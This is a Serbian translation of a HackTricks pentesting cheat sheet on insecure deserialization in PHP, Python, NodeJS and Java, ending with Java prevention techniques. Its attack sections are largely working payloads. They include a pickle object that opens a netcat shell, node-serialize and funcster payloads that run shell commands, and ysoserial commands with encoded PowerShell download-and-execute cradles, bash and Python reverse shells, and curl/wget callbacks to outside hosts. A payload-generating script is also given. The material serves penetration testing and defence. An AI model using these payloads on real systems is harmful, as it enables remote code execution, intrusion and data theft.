Deserialization
Reading time: 37 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Basic Information
Serijalizacija se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
Deserijalizacija, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
Deserijalizacija može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
PHP
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:
__sleep
: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obavezujuće podatke ili obavljanje sličnih zadataka čišćenja.__wakeup
: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka reinitializacije.__unserialize
: Ova metoda se poziva umesto__wakeup
(ako postoji) kada se objekat deserijalizuje. Pruža veću kontrolu nad procesom deserijalizacije u poređenju sa__wakeup
.__destruct
: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukava ili veza sa bazom podataka.__toString
: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na funkcijskim pozivima unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Ako pogledate rezultate, možete videti da se funkcije __wakeup
i __destruct
pozivaju kada se objekat deserializuje. Imajte na umu da u nekoliko tutorijala možete pronaći da se funkcija __toString
poziva kada pokušavate da odštampate neku atribut, ali očigledno to više ne dešava.
warning
Metoda __unserialize(array $data)
se poziva umesto __wakeup()
ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu za deserializaciju svojstava i obavljanje svih potrebnih zadataka prilikom deserializacije.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Obavite sve potrebne zadatke prilikom deserializacije.
}
}
Možete pročitati objašnjen PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Klase
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
PHP - Deserialization + Autoload Classes
Serijalizovanje Referenciranih Vrednosti
Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost, možete:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial for PHP)
PHPGGC može vam pomoći da generišete payload-ove za zloupotrebu PHP deseralizacija.
Imajte na umu da u nekoliko slučajeva nećete moći da pronađete način da zloupotrebite deseralizaciju u izvor kodu aplikacije, ali možda ćete moći da zloupotrebite kod eksternih PHP ekstenzija.
Dakle, ako možete, proverite phpinfo()
servera i pretražujte internet (čak i gadgets od PHPGGC) za neke moguće gadgete koje biste mogli zloupotrebiti.
phar:// metadata deserialization
Ako ste pronašli LFI koji samo čita datoteku i ne izvršava php kod unutar nje, na primer koristeći funkcije kao što su file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize(). Možete pokušati da zloupotrebite deseralizaciju koja se dešava prilikom čitavanja datoteke koristeći phar protokol.
Za više informacija pročitajte sledeći post:
Python
Pickle
Kada se objekat unpickle, funkcija ___reduce___ će biti izvršena.
Kada se iskoristi, server može vratiti grešku.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Pre nego što proverite tehniku za zaobilaženje, pokušajte da koristite print(base64.b64encode(pickle.dumps(P(),2)))
da generišete objekat koji je kompatibilan sa python2 ako koristite python3.
Za više informacija o izlasku iz pickle jails proverite:
Yaml & jsonpickle
Sledeća stranica predstavlja tehniku za zloupotrebu nesigurne deserializacije u yaml python bibliotekama i završava alatom koji se može koristiti za generisanje RCE deserializacijskih payload-a za Pickle, PyYAML, jsonpickle i ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS nema "magic" funkcije kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke funkcije koje se često koriste čak i bez direktnog pozivanja kao što su toString
, valueOf
, toJSON
.
Ako zloupotrebljavate deserializaciju, možete kompromitovati ove funkcije da izvršite drugi kod (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
Drugi "magic" način da pozovete funkciju bez direktnog pozivanja je kompromitovanjem objekta koji se vraća iz async funkcije (promise). Jer, ako transformišete taj vraćeni objekat u drugi promise sa svojstvom pod nazivom "then" tipa funkcija, biće izvršen samo zato što je vraćen iz drugog promise-a. Pratite ovaj link za više informacija.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
i prototype
zagađenje
Ako želite da saznate više o ovoj tehnici pogledajte sledeći tutorijal:
NodeJS - proto & prototype Pollution
node-serialize
Ova biblioteka omogućava serijalizaciju funkcija. Primer:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Serijalizovani objekat će izgledati ovako:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Možete videti u primeru da kada je funkcija serijalizovana, _$$ND_FUNC$$_
oznaka se dodaje serijalizovanom objektu.
Unutar datoteke node-serialize/lib/serialize.js
možete pronaći istu oznaku i kako se kod koristi.
Kao što možete videti u poslednjem delu koda, ako je oznaka pronađena eval
se koristi za deserializaciju funkcije, tako da se u suštini korisnički unos koristi unutar eval
funkcije.
Međutim, samo serijalizovanje funkcije neće je izvršiti jer bi bilo potrebno da neki deo koda poziva y.rce
u našem primeru i to je veoma neprikladno.
U svakom slučaju, mogli biste samo modifikovati serijalizovani objekat dodajući neke zagrade kako biste automatski izvršili serijalizovanu funkciju kada se objekat deserializuje.
U sledećem delu koda obratite pažnju na poslednju zagradu i kako će unserialize
funkcija automatski izvršiti kod:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon _$$ND_FUNC$$_
i izvršiće ga koristeći eval
. Stoga, da biste automatski izvršili kod, možete izbrisati deo za kreiranje funkcije i poslednju zagradu i samo izvršiti JS oneliner kao u sledećem primeru:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Možete pronaći ovde dodatne informacije o tome kako iskoristiti ovu ranjivost.
funcster
Značajan aspekt funcster je nedostupnost standardnih ugrađenih objekata; oni su van dostupnog opsega. Ova ograničenja sprečavaju izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što su "ReferenceError: console is not defined"
kada se koriste komande poput console.log()
ili require(something)
.
Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći kod:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Za više informacija pročitajte ovaj izvor.
serialize-javascript
Paket serialize-javascript je dizajniran isključivo za svrhe serijalizacije, bez ugrađenih mogućnosti deserializacije. Korisnici su odgovorni za implementaciju svoje metode za deserializaciju. Direktna upotreba eval
se sugeriše u zvaničnom primeru za deserializaciju serijalizovanih podataka:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Ako se ova funkcija koristi za deserializaciju objekata, možete je lako iskoristiti:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Za više informacija pročitajte ovaj izvor.
Cryo biblioteka
Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
U Javi, deserializacijski callback-ovi se izvršavaju tokom procesa deserializacije. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne payload-ove koji aktiviraju ove callback-ove, što može dovesti do potencijalnog izvršenja štetnih radnji.
Otisci
Bela kutija
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, tražite:
- Klase koje implementiraju
Serializable
interfejs. - Korišćenje
java.io.ObjectInputStream
,readObject
,readUnshared
funkcija.
Obratite posebnu pažnju na:
XMLDecoder
korišćen sa parametrima koje definišu spoljnji korisnici.XStream
'sfromXML
metoda, posebno ako je verzija XStream manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.ObjectInputStream
u kombinaciji sareadObject
metodom.- Implementaciju metoda kao što su
readObject
,readObjectNodData
,readResolve
, ilireadExternal
. ObjectInputStream.readUnshared
.- Opštu upotrebu
Serializable
.
Crna kutija
Za testiranje crne kutije, tražite specifične potpise ili "Magic Bytes" koji označavaju java serijalizovane objekte (potekle iz ObjectInputStream
):
- Hexadecimalni obrazac:
AC ED 00 05
. - Base64 obrazac:
rO0
. - HTTP odgovarajući zaglavlja sa
Content-type
postavljenim naapplication/x-java-serialized-object
. - Hexadecimalni obrazac koji označava prethodnu kompresiju:
1F 8B 08 00
. - Base64 obrazac koji označava prethodnu kompresiju:
H4sIA
. - Web datoteke sa ekstenzijom
.faces
i parametromfaces.ViewState
. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u postu o Java JSF ViewState Deserializaciji.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Proverite da li je ranjiv
Ako želite da naučite kako funkcioniše Java Deserialized exploit trebali biste pogledati Basic Java Deserialization, Java DNS Deserialization, i CommonsCollection1 Payload.
White Box Test
Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Možete pokušati da proverite sve biblioteke za koje je poznato da su ranjive i za koje Ysoserial može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da tražite moguće lance gadgeta koji se mogu iskoristiti.
Kada pokrećete gadgetinspector (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Molimo vas, imajte na umu da gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate.
Black Box Test
Koristeći Burp ekstenziju gadgetprobe možete identifikovati koje biblioteke su dostupne (pa čak i verzije). Sa ovom informacijom bi moglo biti lakše odabrati payload za eksploataciju ranjivosti.
Pročitajte ovo da biste saznali više o GadgetProbe.
GadgetProbe je fokusiran na ObjectInputStream
deserializacije.
Koristeći Burp ekstenziju Java Deserialization Scanner možete identifikovati ranjive biblioteke koje se mogu eksploatisati sa ysoserial i iskoristiti ih.
Pročitajte ovo da biste saznali više o Java Deserialization Scanner.
Java Deserialization Scanner je fokusiran na ObjectInputStream
deserializacije.
Takođe možete koristiti Freddy da otkrijete ranjivosti deserializacije u Burp. Ovaj dodatak će otkriti ne samo ObjectInputStream
povezane ranjivosti, već takođe ranjivosti iz Json i Yml biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.
Više informacija o Freddyu možete pronaći ovde.
Serialization Test
Nije sve u proveri da li server koristi neku ranjivu biblioteku. Ponekad biste mogli biti u mogućnosti da promenite podatke unutar serijalizovanog objekta i zaobiđete neke provere (možda vam dodeli administratorske privilegije unutar web aplikacije).
Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, možete koristiti SerializationDumper da ispišete u čitljivijem formatu serijalizovani objekat koji se šalje. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
Exploit
ysoserial
Glavni alat za eksploataciju Java deserializacija je ysoserial (preuzmite ovde). Takođe možete razmotriti korišćenje ysoseral-modified koji će vam omogućiti da koristite složene komande (na primer, sa cevima).
Napomena: ovaj alat je fokusiran na eksploataciju ObjectInputStream
.
Počeo bih koristiti "URLDNS" payload pre RCE payloada da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Kada kreirate payload za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak proslediti argumente komandi odvojene sa razmacima (možete uraditi echo -n "hello world"
ali ne možete uraditi python2 -c 'print "Hello world"'
). Da biste ispravno kodirali payload, možete koristiti ovu veb stranicu.
Slobodno koristite sledeći skript za kreiranje svih mogućih payload-a za izvršenje koda za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserial za kreiranje više eksploita. Više informacija o ovom alatu možete pronaći u prezentacijama sa predavanja gde je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec može se koristiti za generisanje payload-a za eksploataciju različitih Json i Yml biblioteka za serijalizaciju u Javi.
Da bih kompajlirao projekat, morao sam da dodam ove zavisnosti u pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instalirajte maven, i kompajlirajte projekat:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Ako želite da testirate neke ysoserial payload-ove možete pokrenuti ovu web aplikaciju: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Zašto
Java koristi mnogo serijalizaciju za razne svrhe kao što su:
- HTTP zahtevi: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima itd.
- RMI (Remote Method Invocation): Java RMI protokol, koji se potpuno oslanja na serijalizaciju, je kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
- RMI preko HTTP-a: Ova metoda se obično koristi od strane Java-baziranih debelih klijentskih web aplikacija, koristeći serijalizaciju za sve komunikacije objekata.
- JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.
- Prilagođeni protokoli: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u predstojećim primerima eksploatacije.
Prevencija
Transijentni objekti
Klasa koja implementira Serializable
može implementirati kao transient
bilo koji objekat unutar klase koji ne bi trebao biti serijalizovan. Na primer:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Izbegavajte serijalizaciju klase koja treba da implementira Serializable
U scenarijima gde određeni objekti moraju da implementiraju Serializable
interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializovani definisanjem final
readObject()
metode koja dosledno baca izuzetak, kao što je prikazano u nastavku:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Poboljšanje bezbednosti deserializacije u Javi
Prilagođavanje java.io.ObjectInputStream
je praktičan pristup za osiguranje procesa deserializacije. Ova metoda je pogodna kada:
- Kod deserializacije je pod vašom kontrolom.
- Klase koje se očekuju za deserializaciju su poznate.
Override-ujte resolveClass()
metodu da ograničite deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deserializaciju samo na klasu Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Korišćenje Java agenta za poboljšanje bezbednosti nudi rešenje kada modifikacija koda nije moguća. Ova metoda se uglavnom primenjuje za stavljanje na crnu listu štetnih klasa, koristeći JVM parametar:
-javaagent:name-of-agent.jar
Omogućava način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
Proverite primer u rO0 by Contrast Security
Implementacija filtera za serijalizaciju: Java 9 je uvela filtere za serijalizaciju putem ObjectInputFilter
interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deserializacije.
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Korišćenje spoljašnjih biblioteka za poboljšanu sigurnost: Biblioteke kao što su NotSoSerial, jdeserialize i Kryo nude napredne funkcije za kontrolu i praćenje Java deserializacije. Ove biblioteke mogu pružiti dodatne slojeve sigurnosti, kao što su stavljanje na belu ili crnu listu klasa, analiziranje serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.
- NotSoSerial presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
- jdeserialize omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
- Kryo je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurable strategije serijalizacije koje mogu poboljšati sigurnost.
Reference
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserializacija i ysoserial razgovor: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Razgovor o gadgetinspectoru: https://www.youtube.com/watch?v=wPbW6zQ52w8 i slajdovi: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec rad: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java i .Net JSON deserializacija rad: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, razgovor: https://www.youtube.com/watch?v=oUAeWhW5b8c i slajdovi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserializacije CVE-ovi: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Pronađite šta je JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
Java Message Service (JMS) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz Wikipedia).
Proizvodi
Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
Eksploatacija
Dakle, u suštini postoji puno usluga koje koriste JMS na opasan način. Stoga, ako imate dovoljno privilegija da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da šaljete zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika.
